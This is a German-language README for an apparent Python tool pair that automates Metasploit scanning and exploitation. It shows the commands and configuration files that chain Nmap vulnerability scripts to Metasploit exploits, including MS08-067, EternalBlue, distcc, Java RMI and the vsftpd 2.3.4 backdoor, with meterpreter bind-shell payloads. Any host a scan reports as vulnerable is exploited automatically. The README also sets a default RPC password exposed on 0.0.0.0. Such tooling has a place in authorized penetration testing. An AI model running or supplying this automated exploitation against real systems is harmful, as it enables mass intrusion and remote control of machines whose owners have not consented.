
Automatisieren Sie das Metasploit-Scanning und die Exploitation
V2.0 - für Python 3 angepasst
Dies wurde nur auf Kali getestet.
Es hängt vom pymetasploit3-Modul für Python ab, das hier detailliert beschrieben wird: https://coalfire.com/the-coalfire-blog/pymetasploit3-metasploit-automation-library
Installieren Sie die erforderlichen Kali-Pakete und das PostgreSQL-Gem für Ruby:
apt-get install postgresql libpq-dev git-core
gem install pg
Installieren Sie die aktuelle Version des pymetasploit3 Python 3-Moduls:
pip3 install pymetasploit3
Bevor Sie eines der Skripte ausführen, laden Sie msfconsole und starten Sie den MSGRPC-Dienst.
MSGRPC kann mit msfrpcd in Metasploit wie folgt gestartet werden:
load msgrpc Pass=abc123 ServerHost=0.0.0.0 ServerPort=55552
Die Ergebnisse von Scans und/oder Exploits erscheinen in der Metasploit-Konsole und in den Ausgabedateien (msf_scan_output.txt und exploitivator_output.txt).
Verwenden Sie MSFScan, um mehrere Metasploit-Scans gegen eine Gruppe von Zielhosts auszuführen. Verwenden Sie Exploitivator, um Nmap-Skript-Scans gegen eine Gruppe von Zielhosts auszuführen und automatisch alle als verwundbar gemeldeten zu exploitieren.
Kommandozeilen-Nutzung:
Beispiele: Die Anwendung kann wie folgt ausgeführt werden, wobei '10.128.108.178' die IP-Adresse der Angriffsmaschine ist, 'hosts.txt' eine Liste von Zielhosts, 'msf' der Metasploit-Postgres-Benutzername und 'abc123' das Metasploit-Postgres-Passwort ist:
./exploitivator.py -l 10.128.108.178 -f hosts.txt -u msf -m abc123
Kommandozeilen-Nutzung:
./msf_scan.py filename
./msf_scan.py filename MSF_DB_Username MSF_DB_Password
Beispiele: Die Anwendung kann wie folgt ausgeführt werden, wobei 'hosts.txt' eine Liste von Zielhosts ist, 'msf' der Metasploit-Postgres-Benutzername und 'abc123' das Metasploit-Postgres-Passwort ist:
./msf_scan.py hosts.txt msf abc123
Um mit 'hosts.txt' als Liste von Zielhosts zu laufen, unter Verwendung des standardmäßigen Metasploit-Postgres-Benutzernamens (msf) und des standardmäßigen Metasploit-Postgres-Passworts (abc123) des Skripts:
./msf_scan.py hosts.txt
Beide Skripte verlassen sich auf Konfigurationsdateien, um Details der erforderlichen Nmap- und Metasploit-Scans und -Angriffe bereitzustellen.
Das Skript verwendet eine Konfigurationsdatei mit dem Namen 'scan_types.cfg'. Diese enthält eine Liste von Pfaden für alle Metasploit-Scans, die gegen die Ziele ausgeführt werden sollen. z.B.:
auxiliary/scanner/dcerpc/endpoint_mapper
auxiliary/scanner/smb/smb_version
auxiliary/scanner/x11/open_x11
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/smb/smb_login
Dieses Skript verwendet zwei Konfigurationsdateien (exploitivator_scan.cfg und exploitivator.cfg). Eine zur Angabe von Nmap-Scans und -Parametern (exploitivator_scan.cfg) und eine zur Angabe von Metasploit-Payloads und -Parametern (exploitivator.cfg). Diese verwenden '##' als Trennzeichen und haben die folgenden Formate.
exploitivator_scan.cfg:
[Label]##[Nmap command line parameters]##[Nmap command line parameters for file output]##[Optional - grep command to be used if Nmap's greppable output is being used]
Im obigen Format:
1) Der erste Abschnitt ist ein Label, das den Scan mit dem Exploit verbindet.
2) Der zweite Abschnitt ist der Teil der Namp-Kommandozeile, der Details zum durchzuführenden Scan-Typ angibt, z.B. Port und Skript.
3) Der dritte Abschnitt ist der Teil der Namp-Kommandozeile, der die Nmap-Ausgabedatei definiert (Exploitivator verarbeitet XML oder grep-fähige Nmap-Ausgabe).
4) Der optionale vierte Abschnitt ist der gep-Befehl, den Sie verwenden möchten, um ein verwundbares Ziel innerhalb einer '.gnmap'-Datei zu identifizieren.
Ein Beispiel für den Dateiinhalt ist unten dargestellt:
SMB_08-067##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms08-067.nse##-oX ms_08_067.xml
SMB_09-050##-p U:137,U:139,T:139,T:445 --script smb-vuln-cve2009-3103.nse##-oX ms_09_050.xml
SMB_10-054##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms10-054.nse##-oX ms_10_054.xml
SMB_10-061##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms10-061.nse##-oX ms_10_061.xml
SMB_17-010##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms17-010##-oX ms_17_010.xml
DistCC##-p 3632 -sSV##-oG distcc.gnmap##grep "3632\/open\/tcp\/\/distccd"
JavaRMI##-p 1099 -sSV##-oG javarmi.gnmap##grep "1099\/open\/tcp\/\/rmi
VSFTPBackDoor##-p 21 -sSV##-oG vsftp_backdoor.gnmap##grep "vsftpd 2.3.4"
exploitivator.cfg:
[Label]##[Metasploit exploit path]##[Optional - Metasploit payload details]
Ein Beispiel für den Dateiinhalt ist unten dargestellt:
SMB_08-067##exploit/windows/smb/ms08_067_netapi##windows/meterpreter/bind_tcp
SMB_09-050##exploit/windows/smb/ms09_050_smb2_negotiate_func_index##windows/meterpreter/bind_tcp
SMB_10-061##exploit/windows/smb/ms10_061_spoolss##windows/meterpreter/bind_tcp
SMB_17-010##exploit/windows/smb/ms17_010_eternalblue##windows/meterpreter/bind_tcp
DistCC##exploit/unix/misc/distcc_exec##cmd/unix/bind_ruby
JavaRMI##exploit/multi/misc/java_rmi_server##php/meterpreter/bind_tcp
VSFTPBackDoor##exploit/unix/ftp/vsftpd_234_backdoor##none
Starten und Verbinden mit MSGRPC: https://coalfire.com/the-coalfire-blog/pymetasploit3-metasploit-automation-library
RHOSTS so einstellen, dass eine Datei anstelle eines Bereichs verwendet wird: http://travisaltman.com/metasploit-set-rhosts-file/